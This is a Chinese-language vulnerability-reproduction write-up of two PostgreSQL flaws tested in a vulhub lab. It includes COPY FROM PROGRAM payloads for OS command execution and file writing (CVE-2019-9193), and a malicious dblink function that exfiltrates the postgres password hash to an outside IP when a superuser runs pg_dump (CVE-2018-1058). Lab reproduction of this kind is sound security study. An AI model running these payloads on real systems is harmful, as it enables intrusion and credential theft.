PostgreSQL是一种特性非常齐全的自由软件的对象-关系型数据库管理系统(ORDBMS),是以加州大学计算机系开发的POSTGRES,4.2版本为基础的对象关系型数据库管理系统。
PostgreSQL支持大部分的SQL标准并且提供了很多其他现代特性,如复杂查询、外键、触发器、视图、事务完整性、多版本并发控制等。同样,PostgreSQL也可以用许多方法扩展,例如通过增加新的数据类型、函数、操作符、聚集函数、索引方法、过程语言等。
目前应用广泛,使用空间测绘发现全球有119万多个PostgreSQL应用,因此该数据库的部分严重漏洞具有广泛的危险性,本文主要对该数据库之前存在的部分高危漏洞进行复现。

CVE-2019-9193任意命令执行复现
影响范围
PostgreSQL v9.3-v11
常用payload
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
将在输出中显示命令id的执行结果
DROP TABLE if EXISTS wooyun;
CREATE TABLE wooyun (t TEXT);
INSERT INTO wooyun(t) VALUES ('hello test');
COPY wooyun(t) TO '/tmp/test';
将在/tmp/test文件中写入hello test内容
漏洞复现
使用vulhub进行环境搭建


命令成功执行如下


利用写入文件的payload尝试执行

在tmp目录下成功写入文件

CVE-2018-1058提权复现
影响范围
PostgreSQL v9.3-10
常用payload
CREATE FUNCTIONpublic.array_to_string(anyarray,text) RETURNS TEXT AS $$
select dblink_connect((select 'hostaddr=192.168.99.178 port=5433 user=postgres password=chybetasslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHEREusename='postgres')));
SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;
该SQL语句主要是创建一个数据库函数,并利用SQL连接带外通道发送数据库密码信息
漏洞复现
使用vulhub进行环境搭建

使用低权限的用户vulhub/vulhub登录postgreSQL数据库,并执行payload

这次如果正常用户使用超级用户的权限去执行pg_dump命令,则会触发我们所创建的恶意函数。
docker-compose exec postgres pg_dump -Upostgres -f evil.bak vulhub
监听的服务器则会获取到数据库密码hash

后续根据需要可修改函数所定义的内容,达到其他目的







